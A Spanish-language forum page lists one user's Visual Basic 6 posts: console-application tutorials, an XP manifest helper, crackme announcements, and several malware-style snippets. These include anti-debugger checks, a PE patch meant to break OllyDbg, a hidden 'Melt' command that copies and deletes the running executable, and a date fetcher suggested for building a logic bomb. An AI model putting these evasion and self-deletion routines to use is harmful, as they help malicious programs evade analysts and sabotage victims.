Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Karcrack

#91
Tenia este code guardado por ahi :xD, y bueno, aqui esta ;D

Codigo de ASM ejecutado:
Código (asm) [Seleccionar]
use32
    mov eax, [fs:30h]
    mov eax, [eax + 68h]
ret


Codigo Completo:
Código (vb) [Seleccionar]
'---------------------------------------------------------------------------------------
' Module    : ImDebug_ASM
' Author    : Karcrack
' DateTime  : 23/01/2009  15:02
' Purpose   : Saber si estamos siendo debuggeados
' Thanks    : Cobein, Por sus codes de ASM inline (:
'---------------------------------------------------------------------------------------

Option Explicit
Private Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Function ImDebug_ASM() As Boolean
    Dim bvASM(0 To 9)   As Byte
    bvASM(0) = &H64: bvASM(1) = &HA1: bvASM(2) = &H30: bvASM(3) = &H0: bvASM(4) = &H0: bvASM(5) = &H0: bvASM(6) = &H8B: bvASM(7) = &H40: bvASM(8) = &H68: bvASM(9) = &HC3
    ImDebug_ASM = CBool(CallWindowProc(VarPtr(bvASM(0)), 0&, 0&, 0&, 0&))
End Function


Saludos ;D
#92
Bueno, he aqui una alternativa al CreateMutex...

Como todos sabemos el Mutex sirve para que no haya dos instancias de nuestra app corriendo simultaneamente...

He aqui el codigo del modulo, los creditos estan en los comentarios ;):
Código (vb) [Seleccionar]
'---------------------------------------------------------------------------------------
' Modulo    : mAltMutex
' Autor     : Karcrack
' Fecha-Hora: 01/02/2009  12:27
' Finalidad : Comprobar si hay otra instacia de nuestra APP ejecutandose
' Referencia: http://hackhound.org/forum/index.php?topic=8967.0;topicseen
' Agradec.  : steve10120 por codearlo en Delphi, yo solo lo traduci. Y agrege un API xD
'---------------------------------------------------------------------------------------

Option Explicit
Private Declare Function GlobalAddAtom Lib "kernel32.dll" Alias "GlobalAddAtomA" (ByVal lpString As String) As Integer
Private Declare Function GlobalFindAtom Lib "kernel32.dll" Alias "GlobalFindAtomA" (ByVal lpString As String) As Integer
Public Declare Function GlobalDeleteAtom Lib "kernel32.dll" (ByVal nAtom As Integer) As Integer

Public Function CheckIfRunning(ByVal sStr As String, Optional ByRef lID As Long) As Boolean
   If GlobalFindAtom(sStr) Then
       CheckIfRunning = True 'Estamos siendo ejecutados
   Else
       lID = GlobalAddAtom(sStr) 'No estamos siendo ejecutados
       'Devolvemos el ID, para que despues pueda ser eliminado el Atom
   End If
End Function


Y aqui un ejemplo de uso:
Código (vb) [Seleccionar]

'En un Formulario
Option Explicit

Public lID      As Long

Private Sub Form_Load()
   If CheckIfRunning("Karcrack_Probando", lID) = True Then
       MsgBox "Ya hay otra instacia abierta...", , "ADIOS"
       End
   End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
   'Eliminamos el Atom antes de cerrarnos
   Call GlobalDeleteAtom(lID)
End Sub


Saludos ;D
#93
Buenas, hace tiempo que se me ocurrio este code al ver el api WinExec... pero nunca lo desarrolle... y bueno, me dio hoy por hacerlo...

Simplente es una alternativa a crear un Bat en el disco, lo hace todo 'on the fly' :laugh:

Código (vb) [Seleccionar]
Option Explicit
Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32.dll" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

'---------------------------------------------------------------------------------------
' Procedimiento : AlterMelt
' Autor         : Karcrack
' Fecha         : 27/01/2009
' Parametro(s)  :
' sNewPath [in]       -> La nueva ruta para el fichero al que se le aplicara el Melt
' sPath [in,optional] -> La ruta del fichero al que se le aplicara el Melt.
'                   Si es NULL se aplicara a la aplicacion propia (=
' dMs [in,optional]   -> Es el tiempo en segundos de espera entre la copia
'                    y la eliminacion del fichero. Por defecto 1 seg.
'
' Return        : Devuelve True si la ejecucion del comando ha sido satisfactoria.
'---------------------------------------------------------------------------------------

Public Function AlterMelt(ByVal sNewPath As String, Optional ByVal sPath As String, Optional ByVal dSec As Double = 2) As Boolean
    Dim sCmd    As String

    If (sPath = vbNullString) Then
        If (App.LogMode = 0) Then Exit Function 'No queremos aplicar Melt a nuestro VS xD
        sPath = Space$(260) 'MAX_PATH = 260
        sPath = Left$(sPath, GetModuleFileName(0&, sPath, Len(sPath)))
    End If

    sCmd = "CMD /D /C " & "copy " & Chr$(34) & sPath & Chr$(34) & " " & Chr$(34) & sNewPath & Chr$(34) & " & " & _
            IIf((dSec > 0), "ping 0.0.0.0 -n " & dSec & " & ", vbNullString) & _
            "del /F /Q " & Chr$(34) & sPath & Chr$(34) & " & " & _
            Chr$(34) & sNewPath & Chr$(34) & " & " & _
            "exit"
    AlterMelt = (WinExec(sCmd, 0&) > 31) 'SW_HIDE As Long = 0
End Function


Creo que todo el mundo sabe lo que es el Melt no? :huh: :xD

Esta seria la forma de usarlo:
Código (vb) [Seleccionar]
Call AlterMelt(Environ$("TMP") & App.EXEName & ".exe", vbNullString, 5)
End


Saludos, espero que os sea de utilidad ;D
#94
Bueno, estaba aburrido y decidi hacer este code, que lo que hace es conectarse a una web y obtener la fecha de hoy ;D

Util para cuando por ejemplo quieres hacer una bomba logica, y no sabes si fiarte de la fecha del PC :xD
El inconveniente es que si no hay Internet poco haces :xD, pero eso se arregla con un If ;)

Esto es solo la idea, vosotros ya la desarrollais ;D ;D

Código (vb) [Seleccionar]
'---------------------------------------------------------------------------------------
' Module    : mGetRealDay
' Author    : Karcrack
' DateTime  : 20/01/2009  17:15
' Purpose   : Obtener la fecha actual...
'---------------------------------------------------------------------------------------

Option Explicit

Public Function GetDate(Optional ByVal sFormat As String = "DD-MM-YYYY") As String
    Dim oHttp       As Object 'New WinHttp.WinHttpRequest
    Dim sData       As String
   
    'Cargamos el WinHttp
    Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
    With oHttp
        'Establecemos el metodo de conexion y la URL
        .Open "GET", "http://www.larazon.es/"
        'Enviamos la peticion
        .Send
        'Obtenemos el resultado
        sData = .ResponseText
    End With
    'Descargamos el WinHttp
    Set oHttp = Nothing
    'Obtenemos la fecha
    sData = Split(Split(sData, Replace$("<p class='fecha_actualizacion'><span>", "'", Chr$(34)))(1), " </span>")(0)
    'Y le damos formato =D
    GetDate = Format$(sData, sFormat)
End Function


Saludos ;D
#95
Bueno, por lo visto al Olly no le gustan las Export Tables que no exportan :xD :xD
Aqui hay un code para parchear un fichero ;D

Lo he traducido de un codigo en Delphi, para mas Info mirar en los comentarios :)

Lo he provado con el OllyDbg v1 y da errores.. pero con el OllyDbg BETA lo carga sin problemas :( :P

Código (vb) [Seleccionar]
'---------------------------------------------------------------------------------------
' Module    : mNoOlly
' Author    : Karcrack
' DateTime  : 18/01/2009  00:41
' Purpose   : AntiOlly
' Reference : http://hackhound.org/forum/index.php?topic=8387.0;topicseen
'
' Thanks    : Cobein, for his ChangeOEP code :D
'---------------------------------------------------------------------------------------

Option Explicit

Private Const IMAGE_DOS_SIGNATURE           As Long = &H5A4D&
Private Const IMAGE_NT_SIGNATURE            As Long = &H4550&

Private Const SIZE_DOS_HEADER               As Long = &H40
Private Const SIZE_NT_HEADERS               As Long = &HF8
Private Const SIZE_SECTION_HEADER           As Long = &H28

Private Type IMAGE_DOS_HEADER
    e_magic                     As Integer
    e_cblp                      As Integer
    e_cp                        As Integer
    e_crlc                      As Integer
    e_cparhdr                   As Integer
    e_minalloc                  As Integer
    e_maxalloc                  As Integer
    e_ss                        As Integer
    e_sp                        As Integer
    e_csum                      As Integer
    e_ip                        As Integer
    e_cs                        As Integer
    e_lfarlc                    As Integer
    e_ovno                      As Integer
    e_res(0 To 3)               As Integer
    e_oemid                     As Integer
    e_oeminfo                   As Integer
    e_res2(0 To 9)              As Integer
    e_lfanew                    As Long
End Type

Private Type IMAGE_FILE_HEADER
    Machine                     As Integer
    NumberOfSections            As Integer
    TimeDateStamp               As Long
    PointerToSymbolTable        As Long
    NumberOfSymbols             As Long
    SizeOfOptionalHeader        As Integer
    characteristics             As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress              As Long
    Size                        As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
    Magic                       As Integer
    MajorLinkerVersion          As Byte
    MinorLinkerVersion          As Byte
    SizeOfCode                  As Long
    SizeOfInitializedData       As Long
    SizeOfUnitializedData       As Long
    AddressOfEntryPoint         As Long
    BaseOfCode                  As Long
    BaseOfData                  As Long
    ImageBase                   As Long
    SectionAlignment            As Long
    FileAlignment               As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion           As Integer
    MinorImageVersion           As Integer
    MajorSubsystemVersion       As Integer
    MinorSubsystemVersion       As Integer
    W32VersionValue             As Long
    SizeOfImage                 As Long
    SizeOfHeaders               As Long
    CheckSum                    As Long
    SubSystem                   As Integer
    DllCharacteristics          As Integer
    SizeOfStackReserve          As Long
    SizeOfStackCommit           As Long
    SizeOfHeapReserve           As Long
    SizeOfHeapCommit            As Long
    LoaderFlags                 As Long
    NumberOfRvaAndSizes         As Long
    DataDirectory(0 To 15)      As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
    Signature                   As Long
    FileHeader                  As IMAGE_FILE_HEADER
    OptionalHeader              As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
    SecName                     As String * 8
    VirtualSize                 As Long
    VirtualAddress              As Long
    SizeOfRawData               As Long
    PointerToRawData            As Long
    PointerToRelocations        As Long
    PointerToLinenumbers        As Long
    NumberOfRelocations         As Integer
    NumberOfLinenumbers         As Integer
    characteristics             As Long
End Type

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)

Public Function PatchFile(ByRef bFile() As Byte) As Byte()
    Dim IDH     As IMAGE_DOS_HEADER
    Dim INH     As IMAGE_NT_HEADERS
   
    Call CopyMemory(IDH, bFile(0), SIZE_DOS_HEADER)
   
    If IDH.e_magic = IMAGE_DOS_SIGNATURE Then
        Call CopyMemory(INH, bFile(IDH.e_lfanew), SIZE_NT_HEADERS)
        If INH.Signature = IMAGE_NT_SIGNATURE Then
            INH.OptionalHeader.DataDirectory(0).VirtualAddress = &H1000
            INH.OptionalHeader.DataDirectory(0).Size = &HF000
            Call CopyMemory(bFile(IDH.e_lfanew), INH, SIZE_NT_HEADERS)
            PatchFile = bFile
        End If
    End If
End Function


Saludos ;D
#96
Bueno, la pregunta es simple... tenemos MOD de VB :huh:


O por el contrario nos han dejado solos :rolleyes:

Saludos ;D
#97
Bueno, despues de mucho tiempo descansando ya empiezan las clases.. y con el bajon me dio por hacer un modulo :laugh:

Este modulo sirve para leer cualquier tipo de configuracion, desde las propiedades Caption y Text a asignar variables globales... Osea, que sirve tanto para leer configuracion como para hacerlo con traducciones.

Mejoras frente al fichero .ini 'normal' :xD:

  • El uso es mas sencillo y corto, no es necesario cargar objeto por objeto
  • Utiliza CallByName, para hacer el codigo lo mas generico posible
  • Permite multilinea

Cosas que hay que tener en cuenta al hacer el fichero:
- Todas las lineas del fichero de configuracion han de finalizar con ";"
- El texto de la etiqueta ([XXXX]) ha de ser igual que el nombre del contenedor
- Los valores numericos han de ser pasados a Decimal

Descarga del code y el ejemplo:
http://www.uploadsourcecode.com.ar/d/pl48J5SMcBrjkt22BgdfBMXEmGRMwWHx

Saludos ;D
#98
Ingeniería Inversa / #2 CrackMe (Karcrack)
5 Enero 2009, 19:22 PM
Bueno, aqui mi Segundo CrackMe :rolleyes:


Lenguaje: VB6
Dificultad: Facil (A pesar de los metodos Anti-Debug)

Lo que hay que hacer es:
1- Obtener un Usuario y Contraseña valido.
2- Hacer un KeyGen (Opcional)
3- Parchear los metodos Anti-Debug (Opcional... aunque no creo que puedas hacerlo sin quitarlos :P)
Lo que no hay que hacer es:
1- Parchear para que acepta cualquier Password

Descarga:
http://karcrack.ka.funpic.de/2Crackme.rar

Saludos ;D
#99
Bueno, esta es una pequeña funcion que he hecho para detectar si estas siendo Debuggeado (o como se escriba :xD)

Esta funcion se basa en que, con privilegios normales nuestra aplicacion no puede abrir procesos de system (csrss.exe) y por lo visto el OllyDbg tiene privilegios suficientes para que podamos abrir el proceso...

Aqui va el code:
Código (vb) [Seleccionar]
Option Explicit

'IsDbgCrss
Private Declare Function CsrGetProcessId Lib "ntdll.dll" () As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

'---------------------------------------------------------------------------------------
' Procedure : IsDbgCsrss
' Author    : Karcrack
' Date      : 30/12/2008
' Purpose   : Check if our app is being debugged
' Usage     : If IsDbgCrss = True Then MsgBox "I'm Debugged"
' Tested On : OllyDbg v2.0 ß
' Reference : http://www.piotrbania.com/all/articles/antid.txt
'---------------------------------------------------------------------------------------
'
Public Function IsDbgCsrss() As Boolean
    IsDbgCsrss = CBool(OpenProcess(&H1F0FFF, 0, CsrGetProcessId)) '&H1F0FFF = PROCESS_ALL_ACCESS
End Function


Solo lo he probado con el OllyDbg v2.0 ß... si alguien lo prueba con otro Debugger que avise ;)

Cabe destacar que para este codigo se necesitan privilegios de Admin... pero bueno, para ejecutar el OllyDbg en su total magnitud tambien :P

Saludos ;D
#100
Ingeniería Inversa / #1 CrackMe Karcrack
27 Diciembre 2008, 12:50 PM
Bueno, este es mi primer CrackMe :rolleyes:
Lenguaje: VB6
Tiempo Invertido: 20 min.
Dificultad: Intermedia-Baja (Esto es bastante Subjetivo :laugh:)

Lo han resuelto:

Descarga:
http://karcrack.funpic.de/1CrackMe.rar

Code:
Quien quiera el code que lo pida por MP ;D (Pero que se olvide de aparecer en la lista :laugh:)


Las soluciones como siempre por MP ;)

Feliz Navidad :D
#101
Bueno, como prometi aqui:

CitarCrear aplicaciones de Consola con VB {INTERMEDIO}

Aqui traigo la Clase:

Código (vb) [Seleccionar]
Option Explicit

'-----------------------------------------
'Autor: Karcrack                          |
'Creditos: MSDN                           |
'Fecha: 10/10/08                          |
'Web: http://foro.fire-software.net       |
'Utilidad: Ejemplo de uso de las APIs para|
'enviar y recibir informacion con         |
'aplicaciones de Command Line.            |
'=========================================|
'Puedes distribuir libremente este codigo |
'Siempre que pongas el autor.             |
'------------------------------------------

Enum Colors
    Negro = &H0
    Azul = &H1
    Verde = &H2
    AguaMarina = &H3
    Red = &H4
    Purpura = &H5
    Amarillo = &H6
    Blanco = &H7
    Gris = &H8
    AzulClaro = &H9
    VerdeClaro = &HA&
    AguamarinaClaro = &HB&
    RojoClaro = &HC&
    PurpuraClaro = &HD&
    AmarilloClaro = &HE&
    BlancoBrillante = &HF&
End Enum

Private Const ENABLE_LINE_INPUT = &H2&
Private Const ENABLE_ECHO_INPUT = &H4&
Private Const ENABLE_MOUSE_INPUT = &H10&
Private Const ENABLE_PROCESSED_INPUT = &H1&
Private Const ENABLE_WINDOW_INPUT = &H8&
Private Const ENABLE_PROCESSED_OUTPUT = &H1&
Private Const ENABLE_WRAP_AT_EOL_OUTPUT = &H2&
Private Const STD_OUTPUT_HANDLE = -11&
Private Const STD_INPUT_HANDLE = -10&
Private Const STD_ERROR_HANDLE = -12&
Private Const INVALID_HANDLE_VALUE = -1&

Private mvarTitle   As String
Private mvarFColor  As Double
Private mvarBColor  As Double
Private hCMDIn      As Double
Private hCMDOut     As Double

Private Declare Function AllocConsole Lib "kernel32.dll" () As Long
Private Declare Function FreeConsole Lib "kernel32" () As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetStdHandle Lib "kernel32" (ByVal nStdHandle As Long) As Long
Private Declare Function WriteConsole Lib "kernel32" Alias "WriteConsoleA" (ByVal hConsoleOutput As Long, lpBuffer As Any, ByVal nNumberOfCharsToWrite As Long, lpNumberOfCharsWritten As Long, lpReserved As Any) As Long
Private Declare Function ReadConsole Lib "kernel32" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByVal lpBuffer As String, ByVal nNumberOfCharsToRead As Long, lpNumberOfCharsRead As Long, lpReserved As Any) As Long
Private Declare Function SetConsoleTextAttribute Lib "kernel32" (ByVal hConsoleOutput As Long, ByVal wAttributes As Long) As Long
Private Declare Function SetConsoleTitle Lib "kernel32" Alias "SetConsoleTitleA" (ByVal lpConsoleTitle As String) As Long

Public Function GetData(Optional ByVal dCharacters As Double, Optional ByVal bLine As Boolean) As String
    Dim lPos            As Long

    GetData = String$(IIf(dCharacters = 0, 500, dCharacters), 0)
   
    Call ReadConsole(hCMDIn, GetData, Len(GetData), lPos, vbNull)
    GetData = Left$(GetData, lPos)
   
    If bLine = True Then
        GetData = Mid$(GetData, InStrRev(GetData, vbCrLf))
    End If
End Function

Public Function SendData(ByVal sData As String, Optional ByVal dNewFColor As Colors, Optional ByVal dNewBColor As Colors) As Boolean
    Dim dLenWritten     As Long
    Dim Color1          As Long
    Dim Color2          As Long
   
    If dNewFColor Then
        Color1 = dNewFColor
    Else
        Color1 = mvarFColor
    End If
   
    If dNewBColor Then
        Color2 = dNewBColor
    Else
        Color2 = mvarBColor
    End If

    Call SetConsoleTextAttribute(hCMDOut, Color1 Or Color2)
    Call WriteConsole(hCMDOut, ByVal sData, Len(sData), dLenWritten, ByVal 0&)
    If dLenWritten = Len(sData) Then
        SendData = True
    End If
    Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor)
End Function

Public Property Let ForeColor(ByVal vData As Colors)
    mvarFColor = vData
    Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor)
End Property

Public Property Get ForeColor() As Colors
    ForeColor = mvarFColor
End Property

Public Property Let BackColor(ByVal vData As Colors)
    mvarBColor = vData
    Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor)
End Property

Public Property Get BackColor() As Colors
    BackColor = mvarBColor
End Property

Public Property Let Title(ByVal vData As String)
    mvarTitle = vData
    Call SetConsoleTitle(mvarTitle)
End Property

Public Property Get Title() As String
    Title = mvarTitle
End Property

Private Sub Class_Initialize()
    If App.LogMode = 0 Then AllocConsole
    hCMDOut = GetStdHandle(STD_OUTPUT_HANDLE)
    hCMDIn = GetStdHandle(STD_INPUT_HANDLE)
    Call SetConsoleTitle(mvarTitle)
    Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor)
End Sub

Private Sub Class_Terminate()
    CloseHandle hCMDOut
    CloseHandle hCMDIn
    If App.LogMode = 0 Then FreeConsole
End Sub


Aqui la adjunto con algunos ejemplos:

CitarEjemplos clase cCommandLine

Saludos :D
#102
Indice:

  • Introduccion
  • Manos a la obra
  • Salida
  • Entrada
    • Finalizando
    • Ejemplo
    • Despedida




    Introduccion:

    Todo el mundo sabe que una aplicacion de consola es una aplicacion que se muestra desde la linea de comandos (CMD.exe,Command Prompt...).

    Una captura para que quede aun mas claro:






    Manos a la obra:

    En este manual, como es nivel 'intermedio', explicare el uso de In/Out (Entrada/Salida) usando FSO (FileSystemObject). Envez de usando las APIs, seguramente saque de aqui un tiempo una clase para hacerlo usando APIs.

    La funciones esta perfectamente comentadas para que no haya ningunas dudas ;)

    Salida:

    Aqui esta la funcion para enviar algo a nuestra consola:

    Código (vb) [Seleccionar]
    Public Function SendCMD(ByVal sData As String) As Boolean
        'Si hay algun error devuelve False, si todo ha ido bien devuelve True
        On Error GoTo Fallo
       
        Dim FSO         As Object
        Dim sOut        As Object
        'Cargamos los objectos
        Set FSO = CreateObject("Scripting.FileSystemObject")
        Set sOut = FSO.GetStandardStream(1) ' StdOut = 1
        'Llamamos a la funcion que envia la informacion
        Call sOut.WriteLine(sData)
        'Descargamos los objetos
        Set sOut = Nothing
        Set FSO = Nothing
        'Devolvemos True, todo ha ido bien
        SendCMD = True
        'Salimos de la funcion
        Exit Function
    Fallo:
        'Algo fallo, devolvemos False
        SendCMD = False
    End Function


    Entrada:

    Esta funcion obtiene los datos que hay en nuestro Command Prompt

    Código (vb) [Seleccionar]
    Public Function GetCMD(Optional ByVal ReadLine As Boolean = False, Optional ByVal Caracteres As Long = 0) As String
        Dim FSO         As Object
        Dim sIn         As Object
       
        'Cargamos los objectos
        Set FSO = CreateObject("Scripting.FileSystemObject")
        Set sIn = FSO.GetStandardStream(0) ' StdIn = 0
       
        If ReadLine = False Then
            'Si no queremos la ultima linea
            If Caracteres = 0 Then
                'Si lo queremos todo
                GetCMD = sIn.ReadAll
            Else
                'Si solo queremos los ultimos n Caracteres
                GetCMD = sIn.Read(Caracteres)
            End If
        Else
            'Si queremos solo la ultima linea
            GetCMD = sIn.ReadLine
        End If
        'Descargamos los objetos
        Set sIn = Nothing
        Set FSO = Nothing
    End Function





    Finalizando:

    Una vez hemos codeado nuestra aplicacion y esta terminada del todo hemos de compilarla de forma normal. Pero para que se puede ejecutar desde el CMD.exe hemos de modificar el ejecutable, para hacerlo nos serviremos de este comando del LINK.exe:

    LINK /EDIT /SUBSYSTEM:CONSOLE <Ruta Ejecutable>

    He hecho un diminuto script VBS para que al arrastrar nuestro ejecutable lo transforme en Command Prompt compatible ;) aqui esta, para usarlo habeis de guardarlo con el bloc de notas en formato *.vbs y arrastrar el ejecutable que querais modificar.

    Dim StrLINK     ,StrEXE      ,WSHShell   

    'Ruta del LINK.exe de la carpeta VB
    StrLINK = """C:\Archivos de programa\Microsoft Visual Studio\VB98\LINK.EXE"""
    'Ruta del ejecutable que arrastras
    StrEXE = """" & WScript.Arguments(0) & """"
    Set WSHShell = CreateObject("WScript.Shell")

    WSHShell.Run StrLINK & " /EDIT /SUBSYSTEM:CONSOLE " & StrEXE , 0

    Set WSHShell = Nothing
    WScript.Echo "Finalizado!!"


    Una vez nuestro ejecutable ya ha sido editado para que se ejecute por linea de comandos ya podra ser utilizado :D.




    Ejemplo:

    Este es un codigo de ejemplo de una calculadora :D (Tambien lo adjunto al Post)

    En un formulario:
    Option Explicit

    Private Sub Form_Load()
        Dim Numero1     As Long
        Dim Numero2     As Long
        Dim Operacion   As String
        Dim Resultado   As Double
       
        'Para que no se vea la ventana
        Form1.Visible = False
        'Pedimos el primer numero
        Call SendCMD("Introduce el primer numero:")
        'Lo obtenemos
        Numero1 = GetCMD(True)
        'Pedimos el segundo
        Call SendCMD("Introduce el segundo numero:")
        'Lo obtenemos
        Numero2 = GetCMD(True)
        'Pedimos la operacion
        Call SendCMD("Introduce la operacion:" & vbCrLf & " + para suma" & vbCrLf & " - para resta" & vbCrLf & " * para multiplicacion" & vbCrLf & " / para division")
        'La obtenemos
        Operacion = GetCMD(False, 1)
        'Hacemos la operacion
        Select Case Operacion
            Case "+"
                Resultado = Numero1 + Numero2
            Case "-"
                Resultado = Numero1 - Numero2
            Case "*"
                Resultado = Numero1 * Numero2
            Case "/"
                Resultado = Numero1 / Numero2
        End Select
        'Devolvemos el resultado
        Call SendCMD(Resultado & vbCrLf)
        End
    End Sub

    Public Function SendCMD(ByVal sData As String) As Boolean
        'Si hay algun error devuelve False, si todo ha ido bien devuelve True
        On Error GoTo Fallo
       
        Dim FSO         As Object
        Dim sOut        As Object
        'Cargamos los objectos
        Set FSO = CreateObject("Scripting.FileSystemObject")
        Set sOut = FSO.GetStandardStream(1) ' StdOut = 1
        'Llamamos a la funcion que envia la informacion
        Call sOut.WriteLine(sData)
        'Descargamos los objetos
        Set sOut = Nothing
        Set FSO = Nothing
        'Devolvemos True, todo ha ido bien
        SendCMD = True
        'Salimos de la funcion
        Exit Function
    Fallo:
        'Algo fallo, devolvemos False
        SendCMD = False
    End Function

    Public Function GetCMD(Optional ByVal ReadLine As Boolean = False, Optional ByVal Caracteres As Long = 0) As String
        Dim FSO         As Object
        Dim sIn         As Object
       
        'Cargamos los objectos
        Set FSO = CreateObject("Scripting.FileSystemObject")
        Set sIn = FSO.GetStandardStream(0) ' StdIn = 0
       
        If ReadLine = False Then
            'Si no queremos la ultima linea
            If Caracteres = 0 Then
                'Si lo queremos todo
                GetCMD = sIn.ReadAll
            Else
                'Si solo queremos los ultimos n Caracteres
                GetCMD = sIn.Read(Caracteres)
            End If
        Else
            'Si queremos solo la ultima linea
            GetCMD = sIn.ReadLine
        End If
        'Descargamos los objetos
        Set sIn = Nothing
        Set FSO = Nothing
    End Function





    Despedida:

    Bueno, ya esta todo explicado :D, cualquier duda avisen :D.
    De aqui un tiempo sacare una clase que permitira hacer esto, pero con APIs, ademas de permitir cambiar el color al texto y otras cosas :P.

    Saludos :D, espero que hayan aprendido mucho :P

    Pueden distribuirlo libremente siempre que pongan la fuente y el autor, yo, Karcrack.
#103
Bueno, pues eso, es una funcion que he desarrollado para habilitar el estilo XP en nuestros proyectos de Visual Basic 6.0 sin tener que recurrir a OCX ni Controles de Usuario...

Código (vb) [Seleccionar]
Option Explicit

Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Private Declare Function InitCommonControls Lib "Comctl32.dll" () As Long
Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type

Public Function CreateManifest() As Boolean
    'Si hay algun error sigue a la siguiente accion
    On Error Resume Next
    Dim sPath As String
    'Obtenemos la ruta de nuestro ejecutables
    sPath = String$(260, Chr$(0)) 'Gracias Cobein
    sPath = Left$(sPath, GetModuleFileName(App.hInstance, sPath, Len(sPath)))
    'Comprobamos qu eno existe ningun fichero .Manifest _
    'y que no estamos ejecutando la aplicacion desde el Visual Studio
    If App.LogMode = 0 Then Exit Function
    If Dir(sPath & ".manifest", vbReadOnly Or vbSystem Or vbHidden) = vbNullString Then
        'Obtenemos la version del Window$
        If Win2Version = "XP" Then
            'Si es XP significa que es compatible con el metodo Manifest _
            ', por lo tanto crea el fichero
            Open sPath & ".manifest" For Output As #1
                'Le introduce los datos...
                Print #1, FormatManifest
                'Todo ha ido bien...
                CreateManifest = True
            Close #1
            'Estable el fichero como: Oculto/System/SoloLectura/Archivo
            SetAttr sPath & ".manifest", vbHidden Or vbSystem Or vbReadOnly Or vbArchive
            'Y lo vuelve a ejecutar, para que los cambios tengan efecto
            Shell sPath, vbNormalFocus
            End
        End If
    End If
    'LLamamos al API....
    Call InitCommonControls
End Function

Private Function Win2Version() As String
    'Declaramos las variables para esta funcion
    Dim OSInf As OSVERSIONINFO, iRet As Integer
    OSInf.dwOSVersionInfoSize = 148
    OSInf.szCSDVersion = Space$(128)
    'Obtenemos la informacion del Window$
    iRet = GetVersionExA(OSInf)
    'Si no se ha podido obtener correctamente devuelve 'Unknown'
    If iRet = 0 Then Win2Version = "Unk": Exit Function
    With OSInf
        Select Case .dwPlatformId
            Case 1
                Select Case .dwMinorVersion
                    Case 0
                        'En caso de que sea Win95
                        Win2Version = "95"
                    Case 10
                        'En caso de que sea Win98
                        Win2Version = "98"
                    Case 90
                        'En caso de que sea Win Millenium
                        Win2Version = "Mi"
                End Select
            Case 2
                Select Case .dwMajorVersion
                    Case 3 Or 4
                        'En caso de que sea NT (Aqui no he distinguido entre las dos versiones...)
                        Win2Version = "NT"
                    Case 5
                        Select Case .dwMinorVersion
                            Case 0
                                'En caso de que sea Win2000
                                Win2Version = "2000"
                            Case 1
                                'En caso de que sea XP
                                Win2Version = "XP"
                            Case 2
                                'En caso de que sea Win2003 (SERVER)
                                Win2Version = "2003"
                        End Select
                    Case 6
                        'En caso de que sea Win Vista
                        Win2Version = "Vista"
                End Select
            Case Else
                'En caso de que sea que sea desconocido...
                Win2Version = "Unk"
        End Select
    End With
End Function

Private Function FormatManifest() As String
    Dim Header As String
    'Carga el .manifest en una variable
    Header = "<?xml version=" & Chr(34) & "1.0" & Chr(34) & " encoding=" & Chr(34) & "UTF-8" & Chr(34) & " standalone=" & Chr(34) & "yes" & Chr(34) & "?>" _
                & vbCrLf & "<assembly xmlns=" & Chr(34) & "urn:schemas-microsoft-com:asm.v1" & Chr(34) & " manifestVersion=" & Chr(34) & "1.0" & Chr(34) & ">" _
                & vbCrLf & "<assemblyIdentity" _
                & vbCrLf & "version=" & Chr(34) & "1.0.0.0" & Chr(34) _
                & vbCrLf & "processorArchitecture=" & Chr(34) & "X86" & Chr(34) _
                & vbCrLf & "name=" & Chr(34) & App.EXEName & ".exe" & Chr(34) _
                & vbCrLf & "type=" & Chr(34) & "win32" & Chr(34) _
                & vbCrLf & "/>" _
                & vbCrLf & "<description>" & App.Comments & "</description>" _
                & vbCrLf & "<dependency>" _
                & vbCrLf & "<dependentAssembly>" _
                & vbCrLf & "<assemblyIdentity" _
                & vbCrLf & "type=" & Chr(34) & "win32" & Chr(34) _
                & vbCrLf & "name=" & Chr(34) & "Microsoft.Windows.Common-Controls" & Chr(34) _
                & vbCrLf & "version=" & Chr(34) & "6.0.0.0" & Chr(34) _
                & vbCrLf & "processorArchitecture=" & Chr(34) & "X86" & Chr(34) _
                & vbCrLf & "publicKeyToken=" & Chr(34) & "6595b64144ccf1df" & Chr(34) _
                & vbCrLf & "language=" & Chr(34) & "*" & Chr(34) _
                & vbCrLf & "/>" _
                & vbCrLf & "</dependentAssembly>" _
                & vbCrLf & "</dependency>" _
                & vbCrLf & "</assembly>"
    FormatManifest = Header
End Function







Aqui esta el codigo, quien quiera descargarlo que lo haga de aqui:
CitarDescarga




Uso:
